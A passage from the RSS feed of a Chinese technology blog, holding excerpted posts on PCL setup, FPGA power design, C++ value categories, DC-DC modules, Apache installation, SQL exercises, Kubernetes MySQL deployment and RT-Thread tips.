属性-&amp;gt;高级系统设置-&amp;gt;环境变量，在Path添加上刚才我们安装的PCL里面的bin目录和OpenNI的tools目录&#xA;注意：路径要选择自己的PCL程序安装路径，后面所有的路径都要改成你自己的真实路径。&#xA;系统变量配置完成后重启电脑，，，重启电脑，，，重启电脑，，，&#xA;2、项目环境配置 （1）包含目录和库目录&#xA;打开VS，新建一个项目（这里随意哈，项目的名字和路径都随意）。&#xA;在菜单栏找到“视图”-&amp;gt;&#34;其他窗口&#34;-&amp;gt;“属性管理器”，如下图，你将在右侧看到属性管理器页面。&#xA;左键选中“Release|64”，右键“添加新项目属性表”，名称你随意，不要中文字符、自己知道就行。&#xA;然后确定，你会得到一个新的属性表，如下图。&#xA;在新建的属性表上右键-&amp;gt;属性。&#xA;打开”VC++目录“，选择包含目录，把PCL里面的include目录路径输入进去。&#xA;你可以直接复制我的，但我不建议你这么做。&#xA;C:\Program Files\PCL 1.8.0\3rdParty\VTK\include\vtk-7.0; C:\Program Files\PCL 1.8.0\3rdParty\Qhull\include; C:\Program Files\PCL 1.8.0\3rdParty\OpenNI2\Include; C:\Program Files\PCL 1.8.0\3rdParty\FLANN\include; C:\Program Files\PCL 1.8.0\3rdParty\Eigen\eigen3; C:\Program Files\PCL 1.8.0\3rdParty\Boost\include\boost-1_61; C:\Program Files\PCL 1.8.0\include\pcl-1.8 打开”VC++目录“，选择库目录，把PCL里面lib目录路径填进去。</description>
    </item>
    <item>
      <title>FPGA的那些事之电源设计要求</title>
      <link>https://bchobby.github.io/posts/266cab1045fbfe8f9f1002ea5560385a/</link>
      <pubDate>Thu, 09 Jun 2022 16:33:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/266cab1045fbfe8f9f1002ea5560385a/</guid>
      <description>本文以7系列的XC7K325T进行介绍，首先看看FPGA的电源主要由核电VCCINT，block RAM供电VCCBRAM，辅助电压VCCAUX和VCCAUX_IO，IO电压VCCO，高速GTX接口电压VMGTAVCC，VMGTAVTT，VMGTVCCAUX，VMGTAVTTRCAL等电压组成，具体如下图1所示。在设计采用典型设计即可，需要注意的VCCO里面分为HR bank电压和HP bank电压，其中HR bank电压一般为3.3V设计，但是遇到网络接口时一般设计为2.5V；HP为高速bank，常常用于ddr设计，电压为1.5V，后面会一章专门讲到DDR设计方面的内容。高速GTX接口电压VMGTAVCC，VMGTAVTT，VMGTVCCAUX，VMGTAVTTRCAL分别按照为1.05V，1.2V，1.8V，1.2V进行设计。需要注意的是，如果咱们使用的GTX中QPLL的时钟速率没有超过10.3125GHZ时，VMGTAVCC和VCCINT电压可以一致。&#xA;上面讲了电压的分类，接下来讲一下各个电压电流要求，对于我们电源设计非常重要，通过下图2我们可以查找FPGA的上电各个电压电流要求，以XC7K325T为例，通过手册查询到ICCINTQ，ICCAUXQ，ICCOQ，ICCOAUXIOQ，ICCBRAMQ的电流值，并根据下图计算各个电压的需要的电流值，在计算电流&#xA;前面讲了电源电压分类和上电电流要求，接下来讲一下各电压上电顺序要求，具体如下：&#xA;（1）VCCINT VCCBRAM VCCAUX VCCAUX_IO VCCO ；&#xA;（2）VMGTAVCC VMGTAVTT VMGTAVTTRCAL VMGTVCCAUX。&#xA;在上电顺序满足要求的情况下，电压的上电斜坡时间必须满足下图3中的要求，所有电源电压斜坡时间在0.2ms~50ms之间，超过此时间FPGA启动异常。需要说明一下，这里说的是斜坡时间不是说所有电源电压的在50ms之内输出完成。&#xA;输出时要考虑上电浪涌会造成电流变大的，所以在选择电源电流输出留有较大裕量。本文以7系列FPGA举例说明电源设计要求，这些都是我们在看看FPGA技术手册常常关注的设计点，有了这些知识点，再设计自己的电源电路部分或者参考别人设计的电源电路时，就知道怎么去考虑，怎么去理解别人设计的电路，才能够设计出稳定可靠的FPGA供电电源，从而避免在FPGA高低试验过程中 ，因为电源设计问题造成FPGA工作不正常的情况。</description>
    </item>
    <item>
      <title>4425 改变数字（模拟）</title>
      <link>https://bchobby.github.io/posts/62f8f169bc108f41ae8eecf53766efbc/</link>
      <pubDate>Thu, 09 Jun 2022 15:35:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62f8f169bc108f41ae8eecf53766efbc/</guid>
      <description>1. 问题描述：&#xA;给定一个正整数 x，你可以对其各个数位上的数字进行反转操作。反转操作是指将一个数 t 替换为 9−t，请你计算，通过一系列的反转操作（也可以不进行任何操作），能够将 x 转换为的最小可能正整数，注意，最终数字不能以 0 开头。&#xA;输入格式&#xA;一个正整数 x&#xA;输出格式&#xA;一个正整数，表示可以得到的最小可能正整数&#xA;数据范围&#xA;所有测试点满足 1 ≤ x ≤ 10 ^ 18&#xA;输入样例1：&#xA;27&#xA;输出样例1：&#xA;22&#xA;输入样例2：&#xA;9&#xA;输出样例2：&#xA;9&#xA;输入样例3：&#xA;91730629&#xA;输出样例3：&#xA;91230320&#xA;来源：https://www.acwing.com/problem/content/description/4428/&#xA;2. 思路分析：&#xA;分析题目可以知道当某一位大于等于 5 之后那么应该翻转一下，而对于首位则需要特判一下，判断是否是替换后是否是 0，如果是 0 那么就需要将其换为 9，依次枚举每一位模拟整个过程即可。&#xA;3. 代码如下：&#xA;python：&#xA;if __name__ == &#39;__main__&#39;: n = int(input()) nums = list() while n &amp;gt; 0: nums.append(n % 10) n //= 10 res = 0 for i in range(len(nums) - 1, -1, -1): x = nums[i] if x &amp;gt;= 5: x = 9 - x if i == len(nums) - 1 and x == 0: x = 9 res = res * 10 + x print(res) go：</description>
    </item>
    <item>
      <title>【Modern C&#43;&#43;】深入理解左值、右值</title>
      <link>https://bchobby.github.io/posts/9e867ab6a3477ca2aa3f78928cb74d03/</link>
      <pubDate>Thu, 09 Jun 2022 10:58:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e867ab6a3477ca2aa3f78928cb74d03/</guid>
      <description>作为C/C++开发人员，在平时的项目开发过程中，或多或少的听过左值和右值的概念，甚至在编译器报错的时候，遇到过lvalue和rvalue等字样；甚至使用过std::move()，但是不知道其含义。作为多年的C++开发人员，一直以来，对左值右值的理解没有一个系统的认识，总感觉似懂非懂。今天，借助本文，详细的介绍下这些知识点，并从代码实例的角度去分析什么是左值或者右值，同时，也算是给自己知识点做一个总结。&#xA;1背景 作为C++开发人员，相信我们都写过如下代码：&#xA;void fun(int &amp;amp;x) { // } int main() { fun(10); return 0; } 在编译的时候，会提示如下：&#xA;error: invalid initialization of non-const reference of type ‘int&amp;amp;’ from an rvalue of type ‘int’&#xA;从“int”类型的右值对“int&amp;amp;”类型的非常量引用进行无效初始&#xA;其中上述报错中的rvalue就是10，也就是说10就是rvalue，那么到底什么是rvalue，rvalue的意义是什么？这就是本文的目的，通过本文，让你彻底搞清楚什么C++下的值类别，以及如何区分左值、纯右值和将亡值。&#xA;本文的主要内容如下图所示：&#xA;2历史 在正式介绍左值和右值之前，我们先介绍下其历史。&#xA;编程语言CPL第一次引入了值类别，不过其定义比较简单，即对于赋值运算符，在运算符左边的为左值，在运算符右边的为右值。&#xA;C语言遵循与CPL类似的分类法，但是弱化了赋值的作用，C语言中的表达式被分为左值和其它(函数和非对象值)，其中左值被定义为标识一个对象的表达式。不过，C语言中的左值与CPL中的左值区别是，在C语言中lvalue是locator value的简写，因此lvalue对应了一块内存地址。&#xA;C++11之前，左值遵循了C语言的分类法，但与C不同的是，其将非左值表达式统称为右值，函数为左值，并添加了引用能绑定到左值但唯有const的引用能绑定到右值的规则。几种非左值的C表达式在C++中成为了左值表达式。&#xA;自C++11开始，对值类别又进行了详细分类，在原有左值的基础上增加了纯右值和消亡值，并对以上三种类型通过是否具名(identity)和可移动(moveable)，又增加了glvalue和rvalue两种组合类型，在后面的内容中，会对这几种类型进行详细讲解。&#xA;3表达式 C/C++代码是由标识符、表达式和语句以及一些必要的符号(大括号等)组成。&#xA;表达式由按照语言规则排列的运算符，常量和变量组成。一个表达式可以包含一个或多个操作数，零个或多个运算符来计算值。每个表达式都会产生一些值，该值将在赋值运算符的帮助下分配给变量。&#xA;在C/C++中，表达式有很多种，我们常见的有前后缀表达式、条件运算符表达式等。字面值(literal)和变量(variable)是最简单的表达式，函数的返回值也被认为是表达式。&#xA;表达式是可求值的，对表达式求值可得到一个结果，这个结果有两个属性:&#xA;类型。这个我们很常见，比如int、string、引用或者我们自定义的类。类型确定了表达式可以进行哪些操作。值类别(在下节中会细讲)。 4值类别 在上节中，我们提到表达式是可求值的，而值类别就是求值结果的属性之一。&#xA;在C++11之前，表达式的值分为左值和右值两种，其中右值就是我们理解中的字面值1、true、NULL等。&#xA;自C++11开始，表达式的值分为左值(lvalue, left value)、将亡值(xvalue, expiring value)、纯右值(prvalue, pure ravlue)以及两种混合类别泛左值(glvalue, generalized lvalue)和右值(rvalue, right value)五种。&#xA;这五种类别的分类基于表达式的两个特征：&#xA;具名(identity):可以确定表达式是否与另一表达式指代同一实体，例如通过比较它们所标识的对象或函数的（直接或间接获得的）地址可被移动：移动构造函数、移动赋值运算符或实现了移动语义的其他函数重载能够绑定于这个表达式 结合上述两个特征，对五种表达式值类别进行重新定义：&#xA;lvalue:具名且不可被移动xvaue:具名且可被移动prvalue:不具名且可被移动glvalue:具名，lvalue和xvalue都属于glvaluervalue:可被移动的表达式，prvalue和xvalue都属于rvalue&#xA;用图表示如下： 从glvalue和rvalue出发，将具名(indentity)和可移动两个特征结合起来，如下图所示：&#xA;在上图中，I代表indentity，M代表moveable。以xvalue为例，在上图中xvalue为(I&amp;amp;M)，即代表具名且可移动。</description>
    </item>
    <item>
      <title>隔离DCDC电源模块和非隔离DCDC电源模块不同之处</title>
      <link>https://bchobby.github.io/posts/19c6736983f97f80274387c5dc7b93d9/</link>
      <pubDate>Thu, 09 Jun 2022 09:36:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19c6736983f97f80274387c5dc7b93d9/</guid>
      <description>隔离DC-DC电源模块是指隔离电源是使用变压器将各种不同电压（如：48VDC，24VDC，12VDC等）通过变压器将电压降到所需要的电压，然后作为负载供电使用。&#xA;非隔离DC-DC电源模块是将各种不同电压直接引入到电子电路，再通过电子元件进行升降压输出，输入输出是通过电子元件直接连接的，中间并没有经过变压器等带隔离性的器件，所以称非隔离电源模块。&#xA;小编多年与客户沟通中，会经常遇到客户提问：“隔离电源模块和非隔离电源模块有什么区别？”今天，小编就从以下几点给大家做一下简要的解释，同时也把俞霖科技的DC-DC隔离电源模块与非隔离电源模块给大家进行对比。&#xA;市场上隔离电源模块与非隔离电源模块的区别&#xA;1.安全性&#xA;DC-DC隔离电源模块是指隔离电源是使用变压器将各种不同电压（如：48VDC，24VDC，12VDC等）通过变压器将电压降到所需要的电压，然后作为负载供电使用。&#xA;DC-DC非隔离电源模块是将各种不同电压直接引入到电子电路，再通过电子元件进行升降压输出，输入输出是通过电子元件直接连接的，中间并没有经过变压器等带隔离性的器件，所以称非隔离电源模块。&#xA;考虑到用户的安全使用产品以及用户和市场的需求，俞霖科技工程师们在设计电源方案时一般都会考虑系统的绝缘以及隔离的可靠性。相比之下，DC-DC隔离电源模块相比非隔离电源模块安全性更高一些。&#xA;2.效率&#xA;非隔离电源模块由于少了变压的磁电转换所损失的能量，所以效率一般较高，行业中大多电源厂家的非隔离电源模块的效率都能达到91%以上。相比之下，DC-DC隔离电源模块一般效率都在88%以下，所以DC-DC隔离电源模块发热相对来说会比非隔离电源模块的大。&#xA;3.成本与体积&#xA;非隔离电源模块由于不需要采用变压器进行输入输出之间的电气隔离，所以相比DC-DC隔离电源模块，同样的输出功率，同样的输出性能（如输出精度，负载效应，动态响应等），非隔离电源模块所需要的体积更小，成本更低，设计难度相对较小。如果说设计上可以考虑输入输出之间不隔离，相比DC-DC隔离电源模块，采用非隔离电源模块来进行设计那可以说是工程师的首选。&#xA;4.带载范围&#xA;DC-DC隔离电源模块的输出带载范围小于非隔离电源模块带载范围。&#xA;一般来讲DC-DC隔离电源模块的输出带载范围为30-42V，非隔离电源模块带载范围可以为30-84V。众多厂家在选择电源的时候为了整体的适应性都要求电源能够适应全电压90-265V输入，带载范围也要求高达84V,这样的选择是存在一定风险和隐患的。90V输入的时候电源可能丧失恒流功能，总谐波失真这些非隔离适合做高压小电流，做大电流成本并不比隔离的便宜。&#xA;俞霖科技隔离电源模块与非隔离电源模块对比&#xA;HRB 系列隔离宽电压输入高电压稳压输出 应用 HRB W2~40W 系列模块电源是一种DC-DC升压变换器。该模块电源的输入电压分为：4.5~9V、9~18V、及18~36VDC标准（2：1）宽输入电压范围(宽电压输入模块电源是指输入电压可以允许在很宽的范围内变化)。输出单电压：50V、100VDC、110VDC、150VDC、200VDC、250VDC、400VDC、500VDC、600VDC、800VDC、1000VDC等，具有功率密度大，输出功率高，应用范围广等优点。&#xA;特点 效率高达 80%以上1*2英寸标准封装单电压输出价格低稳压输出工作温度: -40℃~+85℃阻燃封装，满足UL94-V0 要求温度特性好可直接焊在PCB 上 技术参数 HRB隔离升压产品型号选择指南&#xA;输入电压值,可根据客户的需求设定最小输入值电压输出电压值,如果只是给定一个电压值,就是不带调节端的产品,如果给定一个范围,那就是带ADJ调节端的产品,具体电位器的电阻值,可根据产品标签上值来匹配.功率大小都可以按客户的具体要求来订制,因为每一款升压模块都是特殊的,所以不存在订制产品费用.开关控制端, 当需要控制高压关断的时候就要加上这个后缀,这个控制端子是高电位有效,高于2.5V就可以打开输出高电压,需要关断的时候,直接给定低于0.3V的电压或者直接短接到负输入端即可. 部分产品型号参数 产品举例说明 型号：HRB12110D-10W，输出端E2电容可选 22UF/200V的电解电容。输入电压Vin：9~18VDC；输出电压Vout：110VDC；输出功率：10W型号：HRB24200~300D-10W，输出端E2电容可选 10UF/450V的电解电容。输入电压Vin：18~36VDC；输出电压Vout：250VDC；输出功率：10W型号：HRB24500D-6W-REM ,输出端E2电容可选10UF/450V的电解电容两个进行串联来来滤波 输入电压Vin：18~36VDC；输出电压Vout：500VDC；输出功率：6W 带控制高压输出的REM端. 外型尺寸及引脚描述 HRB 0.2~40W 系列 产品尺寸：50.8x25.4x12.5 单位: mm&#xA;产品应用原理图及器件选型 FUSE:1.5~2 倍的最大输入电流E1:至少两倍的输入电压耐压容量 47~220UFC1:0.1UF/50VL1:10~100UH 2 倍的最大输入电流,可选加E2 至少1.5 倍的输出高压耐压,容值建议值 10~47UF,要选用高频低阻型的电解电容.ADJ(20K):如果需要电压调节,就必须接这个电位器,或者改用电阻替换,短接时输出最高电压值,20K 输出最小值电压值．REM控制端:高电位有效高电压输出. GRB 系列非隔离宽电压输入高电压稳压输出 产品特点 效率高达 75%以上1*2英寸标准封装单电压输出可直接焊在PCB 上工作温度: -40℃~+75℃阻燃封装，满足UL94-V0 要求温度特性好电压控制输出,输出电压随控制电压的变化线 产品应用 GRB 系列模块电源是一种DC-DC升压变换器。该模块电源的输入电压分为：4.5~9V、9~18V、及18~36VDC标准（2：1）宽输入电压范围(宽电压输入模块电源是指输入电压可以允许在很宽的范围内变化)。输出最高电压：50V、100VDC、110VDC、150VDC、200VDC、250VDC、300VDC、350VDC、500、1000V等，具有功率密度大，输出功率高，应用范围广等优点。&#xA;技术参数 部分产品型号参数 GRB XX XXXD-XXmA-U1</description>
    </item>
    <item>
      <title>Apache windows 端的安装和配置（本地机做服务器）全网最详细</title>
      <link>https://bchobby.github.io/posts/79d35984e719a3475715a90043c22950/</link>
      <pubDate>Wed, 08 Jun 2022 21:44:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79d35984e719a3475715a90043c22950/</guid>
      <description> 文章目录 1.进入官网下载最新版本2.Apache在windows系统上的服务配置1. 首先解压至指定位置2.服务的安装进入安装路径![在这里插入图片描述](https://img-blog.csdnimg.cn/d6bcf076f10a4bbfb13af3004a7ab216.png)安装服务！提示错误** 安装成功 3.httpd网络配置相关参数说明通过浏览器访问http服务查询本机ip最后浏览器输入http://ip地址 4.配置自己的网页相关错误处理 https://httpd.apache.org/&#xA;1.进入官网下载最新版本 选择Windows版&#xA;按照本机系统选择&#xA;2.Apache在windows系统上的服务配置 1. 首先解压至指定位置 HTML文件为软件的相关说明&#xA;2.服务的安装 以管理员身份打开cmd&#xA;进入安装路径 安装服务 httpd -k install ！提示错误** 需进行相关配置&#xA;安装成功 3.httpd网络配置 相关参数说明 httpd.conf: Listen: //http服务的监听端口 ServerRoot： //设置服务器所在目录 \extra\httpd-ahssl.conf中的Listen ：https监听端口 通过浏览器访问http服务 查询本机ip cmd输入&#xA;ipconfig&#xA;找到这个&#xA;iPV4&#xA;如果为有线网络则选以太网&#xA;最后浏览器输入http://ip地址 4.配置自己的网页 apache 安装目录下的htdocs目录为网站文件&#xA;打开首页名称必须为index.html&#xA;由于ip原因当前网页只能局域网内访问，公共网页请使用公网服务器或内网穿透&#xA;相关错误处理 请确定为管理员身份是控制面板不是powershell其他错误可能为依赖问题 </description>
    </item>
    <item>
      <title>经典SQL50题（31~50）</title>
      <link>https://bchobby.github.io/posts/a2d268f213c133347a7dd6a281577e43/</link>
      <pubDate>Wed, 08 Jun 2022 21:35:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2d268f213c133347a7dd6a281577e43/</guid>
      <description>创建表SQL create table Student(sid varchar(10),sname varchar(10),sage datetime,ssex nvarchar(10)); insert into Student values(&#39;01&#39; , &#39;赵雷&#39; , &#39;1990-01-01&#39; , &#39;男&#39;); insert into Student values(&#39;02&#39; , &#39;钱电&#39; , &#39;1990-12-21&#39; , &#39;男&#39;); insert into Student values(&#39;03&#39; , &#39;孙风&#39; , &#39;1990-05-20&#39; , &#39;男&#39;); insert into Student values(&#39;04&#39; , &#39;李云&#39; , &#39;1990-08-06&#39; , &#39;男&#39;); insert into Student values(&#39;05&#39; , &#39;周梅&#39; , &#39;1991-12-01&#39; , &#39;女&#39;); insert into Student values(&#39;06&#39; , &#39;吴兰&#39; , &#39;1992-03-01&#39; , &#39;女&#39;); insert into Student values(&#39;07&#39; , &#39;郑竹&#39; , &#39;1989-07-01&#39; , &#39;女&#39;); insert into Student values(&#39;08&#39; , &#39;王菊&#39; , &#39;1990-01-20&#39; , &#39;女&#39;); create table Course(cid varchar(10),cname varchar(10),tid varchar(10)); insert into Course values(&#39;01&#39; , &#39;语文&#39; , &#39;02&#39;); insert into Course values(&#39;02&#39; , &#39;数学&#39; , &#39;01&#39;); insert into Course values(&#39;03&#39; , &#39;英语&#39; , &#39;03&#39;); create table Teacher(tid varchar(10),tname varchar(10)); insert into Teacher values(&#39;01&#39; , &#39;张三&#39;); insert into Teacher values(&#39;02&#39; , &#39;李四&#39;); insert into Teacher values(&#39;03&#39; , &#39;王五&#39;); create table SC(sid varchar(10),cid varchar(10),score decimal(18,1)); insert into SC values(&#39;01&#39; , &#39;01&#39; , 80); insert into SC values(&#39;01&#39; , &#39;02&#39; , 90); insert into SC values(&#39;01&#39; , &#39;03&#39; , 99); insert into SC values(&#39;02&#39; , &#39;01&#39; , 70); insert into SC values(&#39;02&#39; , &#39;02&#39; , 60); insert into SC values(&#39;02&#39; , &#39;03&#39; , 80); insert into SC values(&#39;03&#39; , &#39;01&#39; , 80); insert into SC values(&#39;03&#39; , &#39;02&#39; , 80); insert into SC values(&#39;03&#39; , &#39;03&#39; , 80); insert into SC values(&#39;04&#39; , &#39;01&#39; , 50); insert into SC values(&#39;04&#39; , &#39;02&#39; , 30); insert into SC values(&#39;04&#39; , &#39;03&#39; , 20); insert into SC values(&#39;05&#39; , &#39;01&#39; , 76); insert into SC values(&#39;05&#39; , &#39;02&#39; , 87); insert into SC values(&#39;06&#39; , &#39;01&#39; , 31); insert into SC values(&#39;06&#39; , &#39;03&#39; , 34); insert into SC values(&#39;07&#39; , &#39;02&#39; , 89); insert into SC values(&#39;07&#39; , &#39;03&#39; , 98); 表结构 学生表 Student</description>
    </item>
    <item>
      <title>深入理解异步编程</title>
      <link>https://bchobby.github.io/posts/8fd30a023a6f933148f6709db209e954/</link>
      <pubDate>Wed, 08 Jun 2022 16:15:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8fd30a023a6f933148f6709db209e954/</guid>
      <description>同步、异步，并发、并行、串行，这些名词在我们的开发中会经常遇到，这里对异步编程做一个详细的归纳总结，希望可以对这方面的开发有一些帮助。&#xA;1 几个名词的概念 多任务的时候，才会遇到的情况，如：同步、异步，并发、并行。&#xA;1.1 理清它们的基本概念 逻辑调用方式逻辑结构的设计模式同步：多任务开始执行，任务 A、B、C 全部执行完成后才算是结束。&#xA;异步：多任务开始执行，只需要主任务 A 执行完成就算结束，主任务执行的时候，可以同时执行异步任务 B、C，主任务 A 可以不需要等待异步任务 B、C 的结果。并发：多个任务在同一个时间段内同时执行，如果是单核心计算机，CPU 会不断地切换任务来完成并发操作。&#xA;并行：多任务在同一个时刻同时执行，计算机需要有多核心，每个核心独立执行一个任务，多个任务同时执行，不需要切换。串行是同步的一种实现，就是没有并发，所有任务一个一个执行完成。并发、并行是异步的 2 种实现方式。 1.2 举一个例子 你的朋友在广州，但是有 2 辆小汽车在深圳，需要你帮忙把这 2 辆小汽车送到广州去。&#xA;同步的方式，你先开一辆小汽车到广州，然后再坐火车回深圳，再开另外一辆小汽车去广州。这是串行的方法，2 辆车需要的时间也就更长了。&#xA;异步的方式，你开一辆小汽车从深圳去广州，同时请一个代驾开另外一辆小汽车从深圳开去广州。这也就是并行方法，两个人两辆车，可以同时行驶，速度很快。&#xA;并发的方式，你一个人，先开一辆车走 500 米，停车跑回来，再开另外一辆车前行 1000 米，停车再跑回来，循环从深圳往广州开。并发的方式，你可以把 2 辆车一块送到朋友手里，但是过程还是很辛苦的。&#xA;1.3 思考问题 你找一家汽车托运公司，把 2 辆车一起托运到广州。这种方式是同步、异步，并发、并行的哪种情况呢？&#xA;2 并发/并行执行会遇到的问题 2.1 问题 1：并发的任务数量控制 假设：某个接口的并发请求会达到 1 万的 qps，所以对接口的性能、响应时长都要求很高。&#xA;接口内部又有大量 redis、mysql 数据读写，程序中还有很多处理逻辑。如果接口内的所有逻辑处理、数据调用都是串行化，那么单个请求耗时可能会超过 100ms，为了性能优化，就会把数据读取的部分与逻辑计算的部分分开来考虑和实现，能够独立的部分单独剥离出来作为异步任务来执行，这样就把串行化的耗时优化为并发执行，充分利用多核计算机的性能，减少单个接口请求的耗时。&#xA;假设的数据具体化，如：这个接口的数据全部是可以独立获取(支持并发)，需要读取来自不同数据结构的 redis 共 10 个，读取不同数据表的数据共 10 个。那么一次请求，数据获取就会启动 10 个 redis 读取任务，10 个 mysql 读取任务。每秒钟 1 万接口请求，会有 10 万个 redis 读取任务和 10 万个 mysql 读取任务。这 21 万的并发任务，在一秒钟内由 16/32 核的后端部署单机来完成，虽然在同一时刻的任务数量不一定会是 21 万(速度快的话会少于 21 万，如果处理速度慢，出现请求积压拥堵，会超过 21 万)。</description>
    </item>
    <item>
      <title>echarts 常见问题（增加滚动条、X轴文本数据太长、字体颜色、标签对齐方式、循环颜色、图表位置）</title>
      <link>https://bchobby.github.io/posts/85cca65ec213d99e7f260b74f741866d/</link>
      <pubDate>Wed, 08 Jun 2022 15:33:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/85cca65ec213d99e7f260b74f741866d/</guid>
      <description>一、echarts 案例借鉴 1、官网案例借鉴&#xA;2、echarts 案例集锦，支持在线修改，查看属性，下载案例到本地，新增收藏等&#xA;二、echarts 柱状图（bar） 1、x轴 增加滚动条&#xA;// charts x轴 增加滚动条 // 在option 配置项中添加 【 dataZoom 中配置 】 设置x轴滚动条 // 效果图： 动态拖动 // 以下参考代码 // dataZoom配置 option = { xAxis: { type: &#39;category&#39;, data: [&#39;Mon&#39;, &#39;Tue&#39;, &#39;Wed&#39;, &#39;Thu&#39;, &#39;Fri&#39;, &#39;Sat&#39;, &#39;Sun&#39;] }, dataZoom: [{ type: &#39;slider&#39;, show: true, xAxisIndex: [0], left: &#39;9%&#39;, bottom: -5, start: 10, end: 90 //初始化滚动条 }], yAxis: { type: &#39;value&#39; }, series: [{ data: [120, 200, 150, 80, 70, 110, 130], type: &#39;bar&#39;, barWidth:30,//设置柱状图宽度 }] }; 2、x y 轴滚动</description>
    </item>
    <item>
      <title>Java 工作中常用案例</title>
      <link>https://bchobby.github.io/posts/f3c67e2f4ea455bca5e4068010841a0e/</link>
      <pubDate>Wed, 08 Jun 2022 10:44:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3c67e2f4ea455bca5e4068010841a0e/</guid>
      <description>1. LocalDateTime获取某月的第一天开始时间和最后一天的结束时间 /** * 获取指定年和月的第一天和最后一天 * 应用：数据库同步，本地库和其他库按照月份分组统计后，两两比对后，得到不相同的月份， * 根据月份的第一天和最后一天，查询两个库具体值，做交集或差集，然后得到未同步 * 的数据后同步数据 * 2022-12 xx * 2022-11 xx * @param month 2022-12 * @return */ public static Map&amp;lt;String, LocalDateTime&amp;gt; getDateOfMonth(String month){ Map&amp;lt;String,LocalDateTime&amp;gt; map = new HashMap&amp;lt;String, LocalDateTime&amp;gt;(2); LocalDate date = LocalDate.parse(month +&#34;-10&#34;, DateTimeFormatter.ofPattern(&#34;yyyy-MM-dd&#34;)); //根据月份的随便一天获取这个月的第一天以及最后一天 LocalDate first = date.with(TemporalAdjusters.firstDayOfMonth()); LocalDate last = date.with(TemporalAdjusters.lastDayOfMonth()); //获取一天的第一秒和最后一秒 LocalTime beginTime = LocalTime.MIN; LocalTime endTime = LocalTime.MAX; //某月的第一天的第一秒 LocalDateTime beginDatetime = LocalDateTime.of(first, beginTime); //某月的最后一天的最后一秒 LocalDateTime endDatetime = LocalDateTime.</description>
    </item>
    <item>
      <title>Kubernetes  部署 MySQL 高可用读写分离</title>
      <link>https://bchobby.github.io/posts/d7835c4f712627b558e8efb4114a11ed/</link>
      <pubDate>Wed, 08 Jun 2022 10:22:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7835c4f712627b558e8efb4114a11ed/</guid>
      <description>Kubernetes 部署 MySQL 高可用读写分离 简介： 在有状态应用中，MySQL是我们最常见也是最常用的。本文我们将实战部署一个一组多从的MySQL集群。&#xA;一、配置准备 configMap cat &amp;gt; mysql-configmap.yaml &amp;lt;&amp;lt; EOF apiVersion: v1 kind: ConfigMap metadata: name: mysql labels: app: mysql data: master.cnf: | # Apply this config only on the master. [mysqld] log-bin slave.cnf: | # Apply this config only on slaves. [mysqld] super-read-only EOF configMap可以将配置文件和镜像解耦开。&#xA;上面的配置意思是，创建一个master.cnf文件配置内容为：log-bin，即开启bin-log日志，供主节点使用。&#xA;创建一个slave.cnf文件配置内容为：super-read-only，设为该节点只读，供备用节点使用。&#xA;service cat &amp;gt; mysql-services.yaml &amp;lt;&amp;lt; EOF apiVersion: v1 kind: Service metadata: name: mysql labels: app: mysql spec: ports: - name: mysql port: 3306 clusterIP: None selector: app: mysql --- # Client service for connecting to any MySQL instance for reads.</description>
    </item>
    <item>
      <title>rt-thread 使用宝典（2022-0516更新）</title>
      <link>https://bchobby.github.io/posts/fcf90b1b602bc16f64bcd74f3c676d56/</link>
      <pubDate>Wed, 08 Jun 2022 09:17:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fcf90b1b602bc16f64bcd74f3c676d56/</guid>
      <description>本文由RT-Thread论坛用户@出出啊原创发布：https://club.rt-thread.org/ask/article/2460fcd7db4821ae.html&#xA;前言 接触 rt-thread 已有半年，混论坛也5个半月了，期间遇到过各种奇奇怪怪的棘手问题，有过尴尬，也自信曾经提供过比较妙的应对方案。所以产生了将一些典型的使用技巧汇总分享出来的想法，遂有此篇。&#xA;入门篇 Q1. 刚下载的 SDK 啥也没干，编译没错，为啥程序跑不起来？ 如果使用 keil + env 环境，下载源码后的第一件事就是 menuconfig ；&#xA;如果使用 RT-Studio ，创建项目后的第一件事就是打开 Settings ；&#xA;把其中所有配置页面所有配置项全浏览一遍，取消掉所有不相干的配置，最后只留一个内核。&#xA;先保证最小系统跑起来，用点灯程序验证最小系统运行正常。然后再添加自己需要用到的功能和底层外设等等。&#xA;Q2. 刚下载的 SDK 啥也没干，编译没错，为啥程序跑起来 hard fault on thread？ 同上&#xA;Q3. 刚下载的 SDK 啥也没干，编译为啥报错了？ 同上&#xA;内核篇 Q1. RT_NAME_MAX 定义多少合适 原则上越少越省内存，以内核对象 100 个为例，一个对象名占用 8 字节，总共是 800 字节。但是考虑到 struct rt_object 结构体定义，后面跟了两个 rt_uint8_t 型变量。&#xA;RT_NAME_MAX 可以定义成 2n + 2&#xA;Q2. RT_DEBUG 如非必要，不要开启内核调试。除非，你真的想学习内核，或者调试内核的问题。&#xA;Q3. 线程栈大小定义多少合适？ 这个问题和应用有很大关系，如果仅仅是一个最小内核系统，除了 idle 线程，没有使用其它中断和应用，256 也将将够。如果添加了应用代码，还有中断和消息机制。建议 1024 起步。</description>
    </item>
    <item>
      <title>浅谈uf8mb4字符集</title>
      <link>https://bchobby.github.io/posts/a64f6e25abd2687ac002b6ebe230db0b/</link>
      <pubDate>Wed, 08 Jun 2022 08:59:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a64f6e25abd2687ac002b6ebe230db0b/</guid>
